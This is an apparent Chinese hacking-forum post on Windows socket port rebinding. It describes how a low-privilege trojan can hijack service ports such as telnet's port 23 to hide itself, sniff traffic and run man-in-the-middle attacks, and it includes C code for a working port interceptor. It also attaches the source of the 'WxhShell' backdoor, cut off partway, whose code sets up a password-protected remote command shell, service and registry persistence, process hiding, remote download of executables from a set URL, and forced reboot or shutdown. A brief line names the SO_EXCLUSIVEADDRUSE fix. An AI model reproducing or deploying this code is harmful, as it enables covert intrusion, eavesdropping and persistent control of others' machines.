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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: (QS4<J"  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); []^fb,5a  
r<< ]41  
  saddr.sin_family = AF_INET; t&5N{C:  
O5X@'.#rU  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); in}d(%3h  
z~8`xn,  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); JZ=ahSi  
gY!+x=cx0  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 P){b"`f  
$?x;?wS0V  
  这意味着什么?意味着可以进行如下的攻击: -|F(qf  
s{g^K#BoFi  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 7]\_7L|>]  
h 8Shf"  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ckDWY<@v  
t`F<lOKj  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 >|j8j:S[  
i|N%dl+T=  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  :$k] ;  
l!S}gbM  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 |q+3X)Y  
hIBW$  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 8d|/^U.w~V  
DIAHI V<  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 fHFy5j0H  
||p>O  
  #include E4}MU}C#[  
  #include E ^ub8  
  #include 0c{-$K}  
  #include    q>X30g  
  DWORD WINAPI ClientThread(LPVOID lpParam);   JWB3;,S  
  int main() AFMIp^F  
  { dd?ZQ:n  
  WORD wVersionRequested; ^9_4#Ep(  
  DWORD ret; tJ 3Hg8;  
  WSADATA wsaData; "}|&eBH^<  
  BOOL val; +"yt/9AO  
  SOCKADDR_IN saddr; Nw3K@ Ge  
  SOCKADDR_IN scaddr; [hhPkJf|f  
  int err; ve3-GWT{C  
  SOCKET s; tBB\^xq:  
  SOCKET sc; `8x.Mv  
  int caddsize; D MzDV_  
  HANDLE mt; cc0e(\  
  DWORD tid;   s?j||  
  wVersionRequested = MAKEWORD( 2, 2 );  []L yu  
  err = WSAStartup( wVersionRequested, &wsaData ); QmiS/`AAv  
  if ( err != 0 ) { 1uwzo9Yg  
  printf("error!WSAStartup failed!\n"); QV%,s!_b  
  return -1; 1r:i'cW h  
  } ?xTdL738  
  saddr.sin_family = AF_INET; !C6[m1F  
   ^X\{MW'>4  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 1b` `y  
'uBagd>*  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); W{!Slf  
  saddr.sin_port = htons(23); 5Sh.4A\  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %^qf0d*  
  { m[w 8|[  
  printf("error!socket failed!\n"); k$d+w][  
  return -1; (@(rz/H  
  } LX%UkfA9  
  val = TRUE; ^630%YO  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 (?ofL|Cg(  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) e$Npo<u  
  { O!3`^_.  
  printf("error!setsockopt failed!\n"); >|W\8dTQ  
  return -1; dN)@/R^E;  
  } :c/](M  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; o0B3G  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 u27*-X 5  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 BpR#3CfW  
g[D `.  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) }"\jB  
  { u^X,ASkQ  
  ret=GetLastError(); a? <Ar#)j  
  printf("error!bind failed!\n"); e b*w$|y6"  
  return -1; yv+DM`0  
  } k2Dq~zn  
  listen(s,2); 0s2@z5bfX  
  while(1) R=m9[TgBm  
  { &60#y4  
  caddsize = sizeof(scaddr); .>^iU}  
  //接受连接请求 /4{.J=R}  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); -;s-*$I  
  if(sc!=INVALID_SOCKET) n[c/L8j  
  { &{=`g+4n  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); uzO3_.4Y  
  if(mt==NULL)  ~=Q|EhF5  
  { m2r %m y  
  printf("Thread Creat Failed!\n"); 41s[p56+@  
  break; :G/.h[\R|  
  } Op 0Qpn  
  } W^T6^q5;H  
  CloseHandle(mt); Hphfqdh0`  
  } Ks/Uyu. X  
  closesocket(s); G ]JWd  
  WSACleanup(); %:=Jr#a  
  return 0; S!{Kn ;@  
  }   UEh-k"  
  DWORD WINAPI ClientThread(LPVOID lpParam) WEZ)>[Xj?  
  { DcmRb/AP*  
  SOCKET ss = (SOCKET)lpParam; >=!$(JgX  
  SOCKET sc; ?cmv;KV   
  unsigned char buf[4096]; eGW~4zU  
  SOCKADDR_IN saddr; /sa\Ze;E  
  long num; 0Ik}\lcn  
  DWORD val; nd xijqw  
  DWORD ret; wJb"X=i*  
  //如果是隐藏端口应用的话,可以在此处加一些判断 {z0PB] U  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   M hJ;)(  
  saddr.sin_family = AF_INET; EVE<LF?  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); }29Cm$p  
  saddr.sin_port = htons(23); N^U<;O?YDW  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $P7G,0-  
  { H>Ws)aCq  
  printf("error!socket failed!\n"); lk. ;  
  return -1; }rbsarG@  
  } [R9!Tz  
  val = 100; EC0M0qQ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) u4,b%h.  
  { @"$rR+r'  
  ret = GetLastError(); Ymr\8CG/  
  return -1; >x 6$F*:W}  
  } K" U!SWv  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) a8[Q1Fa4|  
  { g$eZT{{W  
  ret = GetLastError(); ;x~[om21;  
  return -1; 4}>1I}!k  
  } \&)k{P>=  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) H,5 ##@X  
  { D-!#TN`Y  
  printf("error!socket connect failed!\n"); BH$+{rZ8t  
  closesocket(sc); %\n&iRwDF  
  closesocket(ss); j"Vb8}  
  return -1; 9CW8l0  
  } j9IeqlL  
  while(1) ; rJ  
  { 9X[}ik0  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 y+ ZCuX  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 _Sxp|{H0  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 },'Ij; %%Q  
  num = recv(ss,buf,4096,0); sxBRg=  
  if(num>0) 8OW504AD  
  send(sc,buf,num,0); h1uD>heGl  
  else if(num==0) c$w}h[  
  break; .wv!;  
  num = recv(sc,buf,4096,0); va_TC!{;  
  if(num>0) lS:R##  
  send(ss,buf,num,0); B>TI dQ  
  else if(num==0) qf qp}g\  
  break; Y =BXV7\  
  } af WEt -  
  closesocket(ss); .1 =8c\%  
  closesocket(sc); UW/{q`)  
  return 0 ; +iL,8eW  
  } p<9e5`& I  
Y><")%Q  
_-.~>C  
========================================================== !1M=9 ~$!  
9&t!U+  
下边附上一个代码,,WXhSHELL ;"@FLq(n  
H%\\-Z$#  
========================================================== D@yuldx'/  
D;l)&"|r?  
#include "stdafx.h" ->S6S_H/+&  
?fXlrJ  
#include <stdio.h> +^6v%z  
#include <string.h> W%k0_Y/5  
#include <windows.h> P=jbr"5Q:  
#include <winsock2.h> rLm:qu(F1  
#include <winsvc.h> dGb]`*E  
#include <urlmon.h> c*"TmDY  
ecI[lB  
#pragma comment (lib, "Ws2_32.lib") E*t0ia8  
#pragma comment (lib, "urlmon.lib") =>7\s}QZ  
bC mhlSNi  
#define MAX_USER   100 // 最大客户端连接数 aF'9&A;q  
#define BUF_SOCK   200 // sock buffer @$(/6]4p  
#define KEY_BUFF   255 // 输入 buffer +yYv"J  
sa71Vh{  
#define REBOOT     0   // 重启 &2!F:L  
#define SHUTDOWN   1   // 关机 =k(~PB^>  
W2a9P_  
#define DEF_PORT   5000 // 监听端口 u/h!i@_w[  
jKcnZu  
#define REG_LEN     16   // 注册表键长度 VK)K#!O8  
#define SVC_LEN     80   // NT服务名长度 5_mb+A n,  
vKX $Nf  
// 从dll定义API wPl!}HNf  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Qs*6wF  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); M!s@w%0?'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \q8D7/q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =lf&mD _/  
>Tm|}\qEb  
// wxhshell配置信息 zJfoU*G/B  
struct WSCFG { t*? CD.S  
  int ws_port;         // 监听端口 82X}@5o2  
  char ws_passstr[REG_LEN]; // 口令 gr/o!NC  
  int ws_autoins;       // 安装标记, 1=yes 0=no Bkn- OG  
  char ws_regname[REG_LEN]; // 注册表键名 S>]Jc$  
  char ws_svcname[REG_LEN]; // 服务名 wghz[qe  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3psCV=/z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &!3=eVg  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 FH'jP`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no N>fC"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" xwH+Q7O&l  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $UZ4,S?V  
35;)O -  
}; gJVakR&  
T1y,L<7?  
// default Wxhshell configuration J]f\=;z;<a  
struct WSCFG wscfg={DEF_PORT, $o"PQ!z  
    "xuhuanlingzhe", C_[V[k0(  
    1, <N%8"o  
    "Wxhshell", $FgpFxz;  
    "Wxhshell", Z:#-4CiP  
            "WxhShell Service", [G/q*a:K  
    "Wrsky Windows CmdShell Service", 27vLI~  
    "Please Input Your Password: ", 3mIX9&/  
  1, sg(L`P  
  "http://www.wrsky.com/wxhshell.exe", H7e/6t<x  
  "Wxhshell.exe" fuQ|[tpvQG  
    }; <%JRZYZ  
]]s_ 8u 3  
// 消息定义模块 X,/@#pSOz  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xw5E!]~D  
char *msg_ws_prompt="\n\r? for help\n\r#>"; F6T@YSP  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; bp6 La`+  
char *msg_ws_ext="\n\rExit."; lHpo/ R :  
char *msg_ws_end="\n\rQuit."; [)`9euR%  
char *msg_ws_boot="\n\rReboot..."; *HmL8c  
char *msg_ws_poff="\n\rShutdown..."; C.{*|#&GAt  
char *msg_ws_down="\n\rSave to "; NA`3   
P'D~Y#^  
char *msg_ws_err="\n\rErr!"; Y"mD)\Bw?  
char *msg_ws_ok="\n\rOK!"; =L$};ko  
J ,fXXi)J  
char ExeFile[MAX_PATH]; UcMe("U  
int nUser = 0; C"/]X  
HANDLE handles[MAX_USER]; N1I1!!$K;%  
int OsIsNt; G{ rUqo  
v&U'%1|  
SERVICE_STATUS       serviceStatus; }Kq5!XJV9C  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; P,!k^J3:l  
>R?EJ;h  
// 函数声明 n>\BPiz  
int Install(void); YtNoYOB  
int Uninstall(void); twx8TQ9  
int DownloadFile(char *sURL, SOCKET wsh); ij6ME6  
int Boot(int flag); c7IgndVAV  
void HideProc(void); o(~>a  
int GetOsVer(void); &_&])V)<\S  
int Wxhshell(SOCKET wsl); Ifu$p]~z$  
void TalkWithClient(void *cs); Jug1Va<^c  
int CmdShell(SOCKET sock); ~Gc+naE>  
int StartFromService(void); cW),Y|8  
int StartWxhshell(LPSTR lpCmdLine);  !+IxPn  
U<eVLfSij  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4i[3|hv'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +I2P{7  
pM\)f  
// 数据结构和表定义 K+H?,I  
SERVICE_TABLE_ENTRY DispatchTable[] = Z>a_vC  
{ b]mRn{r?  
{wscfg.ws_svcname, NTServiceMain}, DB_ x  
{NULL, NULL} kT UQ8U  
}; 9U58#  
C^r3r6  
// 自我安装 +U^dllL7  
int Install(void) "G|Gyc  
{ 2?ZH WS>U  
  char svExeFile[MAX_PATH]; lw? f2_fi  
  HKEY key; gsc*![N  
  strcpy(svExeFile,ExeFile); /w!b2KwV  
@?K(+BGi  
// 如果是win9x系统,修改注册表设为自启动 >}<:5gZtA  
if(!OsIsNt) { 7%8,*T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XFmnZpqXH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W #qM$  
  RegCloseKey(key); P _Zf(`jJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sb(,w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); " %|CD"@  
  RegCloseKey(key); {Y'DUt5j  
  return 0; I~"-  
    } \,JRNL&   
  } >S{1=N@Ev=  
} kOR%<#:J  
else { ,y2ur2  
xVKx#X9yk  
// 如果是NT以上系统,安装为系统服务 I]Wb\&$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )TyL3Z\>(  
if (schSCManager!=0) D2>EG~xWq  
{ %dL|i2+*8  
  SC_HANDLE schService = CreateService "=| yM~V  
  ( _J   
  schSCManager, X\$|oiR  
  wscfg.ws_svcname, c.&vWmLSGE  
  wscfg.ws_svcdisp, jRB:o?S  
  SERVICE_ALL_ACCESS, cY#TH|M  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , zv#i\8h^p  
  SERVICE_AUTO_START, 3 %dbfT j  
  SERVICE_ERROR_NORMAL, )J (ekfM  
  svExeFile, sj. eJX"z  
  NULL, 0,m*W?^31  
  NULL, 3=dGz^Zdv:  
  NULL, gNs@Q !  
  NULL, 1 EC0wX  
  NULL FL/y{;  
  ); % C6 H(  
  if (schService!=0) #)>>f  
  { <2H 0m  
  CloseServiceHandle(schService); %DPtK)X1  
  CloseServiceHandle(schSCManager); $j{ynh)^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); R) @ k|  
  strcat(svExeFile,wscfg.ws_svcname); d-N<VVcy\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ])~*)I~Y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Q6%m}R  
  RegCloseKey(key); K]kL?-A#'  
  return 0; W .Hv2r3  
    } l*'jqR')h^  
  } `?=AgGg  
  CloseServiceHandle(schSCManager); MQ\:/]a  
} 2E2J=Do  
} 6tG9PG98q9  
,=oq)Fm]  
return 1; .#j)YG  
} .D4 D!!  
$!obpZ~}  
// 自我卸载 v l{hE~  
int Uninstall(void) -+Q,xxu  
{ "[GIW+ui  
  HKEY key; Fl*@@jQ8cV  
!k<+-Lf:2  
if(!OsIsNt) { X dB#+"[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  & .(ZO]  
  RegDeleteValue(key,wscfg.ws_regname); 7Zu!s]t  
  RegCloseKey(key); /B1< N}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x:l`e:`y9  
  RegDeleteValue(key,wscfg.ws_regname); A%+~   
  RegCloseKey(key); >t*zY~R.  
  return 0; 7qW:^2y  
  } Ubn5tN MK  
} i7fpl  
} `i{o8l  
else { >r]# 77d  
Mh_jlgE'd#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); yuI5# VUS  
if (schSCManager!=0) E/s3@-/  
{ &nz1[,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); t'9E~_!C  
  if (schService!=0) IyP\7WZ  
  { Ujj2A^  
  if(DeleteService(schService)!=0) { ZklidHL');  
  CloseServiceHandle(schService); T_Y6AII  
  CloseServiceHandle(schSCManager); 9sE>K)  
  return 0; 7* `ldao~  
  } O=mGL  
  CloseServiceHandle(schService); UBC[5E$  
  } dc?Yk3(Y  
  CloseServiceHandle(schSCManager); o~iL aN\+  
} })!n1kt  
} ARU,Wtj#  
e2B~j3-?z  
return 1; C|!E' 8Rw  
} >Q+EqT  
|qbJ]v!  
// 从指定url下载文件 k+i}U9c"  
int DownloadFile(char *sURL, SOCKET wsh) NqF-[G<  
{ t 8M3VGN  
  HRESULT hr; W8":lpp  
char seps[]= "/"; 7d4R tdI  
char *token; orHVL2 KK  
char *file; w$B7..r  
char myURL[MAX_PATH]; ;[9cj&7C<  
char myFILE[MAX_PATH]; Y$Uvt_  
},f7I^s|  
strcpy(myURL,sURL); Vq<|DM3z<  
  token=strtok(myURL,seps); 9d2$F9]:o  
  while(token!=NULL) R9#Z= f,  
  { r`7`f xe  
    file=token; wk5a &  
  token=strtok(NULL,seps); `>#X,Lw$g  
  } 5 !NPqka}.  
?2=c'%w7  
GetCurrentDirectory(MAX_PATH,myFILE); +>:X4A *  
strcat(myFILE, "\\"); VUt 6[~?  
strcat(myFILE, file); Y0eu^p)  
  send(wsh,myFILE,strlen(myFILE),0); _` D_0v(X  
send(wsh,"...",3,0); -nd6hx  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); GuS3O)6Sg  
  if(hr==S_OK) km|~DkJ\a`  
return 0; `\.n_nM  
else P)}:lTe  
return 1; 8;Pdd1GyUL  
qBwqxxTc  
} % vP{C  
8?)Da&+f  
// 系统电源模块 =o HJ_  
int Boot(int flag) YWdlE7 y  
{ 5VPuHY2  
  HANDLE hToken; }5S2v+zE  
  TOKEN_PRIVILEGES tkp; .#}SK!"B  
\NSwoP  
  if(OsIsNt) { k~hL8ZT[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Lh,<q >t  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); C<7J5  
    tkp.PrivilegeCount = 1; ~O|0.)71]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >:Oo[{)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +22[ h@  
if(flag==REBOOT) { 8t7hN?,t  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >H%8~ Oek  
  return 0; x*)Wl!  
} `}=Fw0  
else { +0a',`yc  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {&4qknPd%  
  return 0; 0GG;o[<  
} Ln: y|t  
  } {C6Yr9  
  else { G.N3R  
if(flag==REBOOT) { m[7a~-3:J  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $i2gOz  
  return 0; <l6CtK@  
} >/n/n{{  
else { w5|"cD#8A  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) vTP_vsdeG  
  return 0; )a6i8b3  
} |On6?5((e  
} mPh;  
LnL<WI*Pq  
return 1; H _2hr[  
} <zUmcZ  
TRiB|b]8Q#  
// win9x进程隐藏模块 +GGj*sD  
void HideProc(void) 5eU/ [F9  
{ 'nLv0.7*  
Ga h e-%J  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Kfr?sX  
  if ( hKernel != NULL ) N" 8o0>  
  { aL`pvsnF  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); t3WlVUtq3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); VT9$&\)>O  
    FreeLibrary(hKernel); ULJI` I|m  
  } xpnnWHdaq  
%NBD^g F  
return; ;L)}blN.  
} [WK_Vh{  
w_ Ls.K5"  
// 获取操作系统版本 nxJhK T  
int GetOsVer(void) v{jl)?`~w  
{ ?L $KlF Y  
  OSVERSIONINFO winfo; MaEh8*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); C&SYmYj^c  
  GetVersionEx(&winfo); RHBEC@d[}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) FJ!>3V;}  
  return 1; 'X?`+2wK   
  else o+vf  
  return 0; YnMph0\Y^  
} bw[!f4~  
>i.+v[)#  
// 客户端句柄模块 8R z=)J  
int Wxhshell(SOCKET wsl) #eaey+~  
{ "K@os<  
  SOCKET wsh; v ;9s  
  struct sockaddr_in client; W,<Vr2J[  
  DWORD myID; m&x0,8  
C +IXP  
  while(nUser<MAX_USER) f+1]#"9i|  
{ V*AG0@& !  
  int nSize=sizeof(client); qB&*"gf  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); a2i   
  if(wsh==INVALID_SOCKET) return 1; j4l7Tx  
}cP 3i  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +j<Nu)0iY  
if(handles[nUser]==0) 7OZ s~6(  
  closesocket(wsh); ^NCH)zK]v  
else `K@   
  nUser++; S*]IR"YL  
  }  <O*q;&9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !1l2KW<be  
dfrq8n]  
  return 0; !!QMcx_C#/  
} EmH{G  
0I cyi#N  
// 关闭 socket >Kr,(8rA  
void CloseIt(SOCKET wsh) z(m*]kpL"  
{ vS X 6~m  
closesocket(wsh); D"o>\Q  
nUser--; ]EK"AuEz`  
ExitThread(0); mrJQB I+  
} o1Xk\R{  
m$o|s1t  
// 客户端请求句柄 hsl8@=_ B  
void TalkWithClient(void *cs) _ 9k^Hd[L$  
{ W$3p,VTMmB  
?T^$,1 -  
  SOCKET wsh=(SOCKET)cs; 1"'//0 7  
  char pwd[SVC_LEN]; $v^F>*I1  
  char cmd[KEY_BUFF]; D( _a Xy  
char chr[1]; "qF&%&#r'  
int i,j; ^fx9R 5E$:  
E`X+fJx  
  while (nUser < MAX_USER) { EfyF]cYL  
$HH(8NoL  
if(wscfg.ws_passstr) { *s!8BwiE  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _ x7Vyy5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :4WwCpgz,  
  //ZeroMemory(pwd,KEY_BUFF); Y3-P*  
      i=0; x,>=X` T  
  while(i<SVC_LEN) { ="u(o(j"  
uwIZzz  
  // 设置超时 Sd)D-S  
  fd_set FdRead; jeW0;Cz J~  
  struct timeval TimeOut; tVe*J@i\$  
  FD_ZERO(&FdRead); ,:#prT[P"  
  FD_SET(wsh,&FdRead); K.cNx  
  TimeOut.tv_sec=8; <1@_MY o  
  TimeOut.tv_usec=0; & IDF9B  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); tf/ f-S  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); KctD=6  
^C'k.pV n~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4Q]+tXes  
  pwd=chr[0]; "_(o% \"7  
  if(chr[0]==0xd || chr[0]==0xa) { S`R ( _eD@  
  pwd=0; x3vz4m[  
  break; B!Qdf8We  
  } Bb1dH/8  
  i++; C[pAa8  
    } }&!rIU  
xLGAP-mx]  
  // 如果是非法用户,关闭 socket C!.6:Aj  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); eag$i.^aS  
} !WY@)qlf  
@z2RMEC~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +/Z:L$C6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F"bbU/5  
./6L&?*`~;  
while(1) { aMHIOA%Kh  
=}V`O>  
  ZeroMemory(cmd,KEY_BUFF); O aZ~  
];< [Cln%  
      // 自动支持客户端 telnet标准   YZoH{p9f  
  j=0; `*~:n vU  
  while(j<KEY_BUFF) { G? [#<W@+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ufm#H#n)#X  
  cmd[j]=chr[0]; ;%%=G;b9  
  if(chr[0]==0xa || chr[0]==0xd) { 8RocObY_W  
  cmd[j]=0; !|`YNsR  
  break; =GLsoc-b  
  } `yVJ `} hm  
  j++; |d Soq~Vz  
    } >#V8l@IH  
LN7;Yr  
  // 下载文件 rL%xl,cn<  
  if(strstr(cmd,"http://")) { SQliF[-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); PanyN3rC*  
  if(DownloadFile(cmd,wsh)) CUYp(GU  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); zZDr=6|r_  
  else ."H5.'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0.Iw/e  
  } Gud!(5'  
  else { f[%iRfUFw  
Ya>cGaLq  
    switch(cmd[0]) { fs`<x*}K  
  xXyzzr1[  
  // 帮助 jm*v0kNy  
  case '?': { a @TAUJ,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &QE* V  
    break; VR_1cwKBM  
  } *EDzj&  
  // 安装 @c&)K^v8  
  case 'i': { %i^%D  
    if(Install()) htkyywv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jOe %_R  
    else [,fMh $t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "PlM{ZI\  
    break; 2 {31"  
    } QGsUG_/_P  
  // 卸载 CwT52+Jb  
  case 'r': { {UwJg  
    if(Uninstall()) s~TYzfA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KRz\ct|  
    else i1scoxX3\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O,DA{> *m  
    break; 6bU/IVP  
    } LtNG<n)_BH  
  // 显示 wxhshell 所在路径 ^91k@MC  
  case 'p': { L6',s4  
    char svExeFile[MAX_PATH]; 1*=[% d7  
    strcpy(svExeFile,"\n\r"); }]f)Fz  
      strcat(svExeFile,ExeFile); .&L#%C  
        send(wsh,svExeFile,strlen(svExeFile),0); i/WYjo  
    break; D'</eJ  
    } #$#{QEh0}  
  // 重启 mDo]5 i<  
  case 'b': { ?B[Z9Ef"8l  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); w%L0mH2]ng  
    if(Boot(REBOOT))  m>a6,#I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); < 'T6k\  
    else { VGe/;&1h  
    closesocket(wsh); )} /9*  
    ExitThread(0); $<T)_g  
    } xo?f90+(  
    break; fEM8/bhq  
    } fPspJug  
  // 关机 C~:aol i;  
  case 'd': { HeR-;L  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6g<JPc  
    if(Boot(SHUTDOWN)) <Q%o}m4Kt  
